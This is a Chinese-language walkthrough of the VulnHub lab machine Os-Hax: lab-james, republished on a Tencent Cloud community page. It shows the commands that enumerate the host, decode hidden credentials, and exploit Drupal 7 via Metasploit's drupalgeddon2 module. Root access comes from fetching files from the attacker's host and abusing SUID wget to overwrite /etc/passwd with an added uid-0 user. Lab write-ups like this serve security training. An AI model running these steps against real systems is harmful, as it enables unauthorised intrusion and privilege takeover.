前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >『VulnHub通关系列』Os-Hax: lab-james-Walkthrough

『VulnHub通关系列』Os-Hax: lab-james-Walkthrough

作者头像
Power7089
发布2019-12-12 17:35:33
9130
发布2019-12-12 17:35:33
举报

作者:掣雷安全内部 ins1ght,

致力于通关Vulnhub

个人博客地址:

代码语言:javascript
复制
https://blog.csdn.net/weixin_44214107

靶机地址:

代码语言:javascript
复制
https://www.vulnhub.com/entry/os-hax-lab-james,392/

难度:作者的定义是中等~

靶机发布日期:2019年11月3日

靶机描述:

代码语言:javascript
复制
Difficulty : Intermediate
Flag : boot-root
Learning : exploit | web application Security | Privilege Escalation
Contact .. https://www.linkedin.com/in/rahulgehlaut/
Requires VirtualBox (doesn't work with VMware)

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com

工具、知识点和漏洞

  • nmap
  • dirsearch
  • searchsploit
  • metaspaloit

0x00、信息收集

靶机IP:192.168.0.107

代码语言:javascript
复制
nmap -sP 192.168.0.0/24
代码语言:javascript
复制

端口和服务

代码语言:javascript
复制
nmap -sS -sV -T5 -A -p- 192.168.0.107

页面、目录枚举

代码语言:javascript
复制
gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip
代码语言:javascript
复制
代码语言:javascript
复制
http://192.168.0.107/index.html
代码语言:javascript
复制
http://192.168.0.107/drupal/

Drupal 7

代码语言:javascript
复制
http://192.168.0.107/alexander.txt

内容如下:

代码语言:javascript
复制
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

base64解码之后发现是Brainfuck code

https://www.splitbrain.org/_static/ook/

在线解码,得到一对账号密码

代码语言:javascript
复制
james:Hacker@4514

登录Drupal之后看到一串警告

尝试使用得到的账号密码通过SSH登录靶机,无果

0x01、getshell

由于之前做过很多Drupal的靶机,所以我直接打开MSF,利用

代码语言:javascript
复制
exploit/unix/webapp/drupal_drupalgeddon2

去getshell

常规做法就是在exploit-db、Google搜索“drupal 7”

代码语言:javascript
复制
search Drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.0.107
set targeturi /drupal # Path to Drupal install
exploit
代码语言:javascript
复制

获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。

代码语言:javascript
复制

如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可

代码语言:javascript
复制
export TERM=screen # 赋值xterm也可以
代码语言:javascript
复制

0x02、提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

代码语言:javascript
复制
python -m SimpleHTTPServer 65534
代码语言:javascript
复制

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

代码语言:javascript
复制
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

代码语言:javascript
复制
python linuxprivchecker.py > report.txt
less report.txt
代码语言:javascript
复制

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

SUID权限可执行文件,发现/usr/bin/wget

关于wget的利用,可以参考Linux for Pentester: Wget Privilege Escalation

代码语言:javascript
复制
find / -perm -u=s -type f 2>/dev/null
代码语言:javascript
复制

常见的SUID提权可执行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

读取靶机中的/etc/passwd,并将内容保存到kali的新建passwd文件。使用openssl生成加密密码,并将加密的密码添加到passwd

关于/etc/passwd各列的含义请自行搜索

代码语言:javascript
复制
openssl passwd -1 -salt salt ins1ght
echo 'ins1ght:$1$salt$6FLhQyyZLS6t1CiFgvKLu1:0:0:root:/root:/bin/bash' >> passwd
代码语言:javascript
复制

passwd文件所在目录使用Python开启HTTP服务,之后使用使用wget将passwd下载到靶机的/etc目录,覆盖靶机原始的/etc/passwd文件。

su切换到ins1ght用户(root权限)

有史以来最快的一次~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 工具、知识点和漏洞
  • 0x00、信息收集
  • 0x01、getshell
  • 0x02、提权
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档